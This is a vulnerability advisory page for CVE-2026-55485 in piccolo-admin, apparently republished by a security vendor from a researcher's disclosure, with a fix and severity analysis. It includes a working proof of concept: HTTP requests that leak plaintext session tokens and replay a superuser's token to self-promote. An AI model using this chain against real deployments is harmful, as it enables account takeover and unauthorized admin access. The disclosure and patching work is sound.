Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-55485

HIGHFix: piccolo-orm/piccolo_api#331

CVE-2026-55485 is a high-severity (CVSS 8.8) Information Exposure vulnerability in piccolo-admin. O3 Security confirms whether CVE-2026-55485 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.

Published
Aug 28, 2026
Updated
Aug 28, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍piccolo-admin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

  • File: piccolo_admin/endpoints.py
  • Function: superuser_validators (around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

  1. Network reachability to the admin.
  2. Valid credentials for a non-superuser admin (admin=True, superuser=False — the default role created by BaseUser.create_user(admin=True)).
  3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) — the documented pattern for "active sessions" management UIs.

Steps to reproduce

  1. Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is . (See Screenshot 1.)

    <img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />
  2. Attempt the target write directly. Send the following request:

    PATCH /api/tables/piccolo_user/2/ HTTP/1.1
    Host: target:8001
    Content-Type: application/json
    Cookie: id=<john's session>; csrftoken=<token>
    X-CSRFToken: <token>
    
    {"superuser": true}
    

    The server returns:

    HTTP/1.1 405
    {"detail":"Only superusers can perform these actions."}
    

    The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break.

    <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" />
<img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" />
  1. Leak the credential. As the same john user, request:

    GET /api/tables/sessions/ HTTP/1.1
    Host: target:8001
    Cookie: id=<john's session>; csrftoken=<token>
    

    Response: 200 OK containing every active session in plaintext, e.g.

    {"rows":[
      {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
      {"token":"...","user_id":2, ...},
      ...
    ]}
    

    Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.)

    <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />
  2. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:

    PATCH /api/tables/piccolo_user/2/ HTTP/1.1
    Host: target:8001
    Content-Type: application/json
    Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
    X-CSRFToken: <token>
    
    {"superuser": true}
    

    Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.)

    <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />
  3. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

  • read/write/delete any row in any table the admin exposes;
  • revoke any other session, locking out other admins;
  • change any user's password;
  • export data (including via the bulk CSV download forms);
  • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:

def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning:

  • AV:N — accessible over the network.
  • AC:L — single GET; no race or timing dependency.
  • PR:L — requires non-superuser admin credentials (the default admin role).
  • UI:N — no victim interaction needed.
  • S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.
  • C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

  • CWE-269 Improper Privilege Management (primary)
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-863 Incorrect Authorization

Notes for the maintainer

  • The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
  • The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
  • I'm happy to coordinate disclosure timing and validate any candidate patch.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpiccolo-adminall versions1.14.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for piccolo-admin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update piccolo-admin to 1.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55485 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-55485 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-55485. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**. The `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently
O3 Security · Impact-Aware SCA

Is CVE-2026-55485 in your dependencies?

O3 detects CVE-2026-55485 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.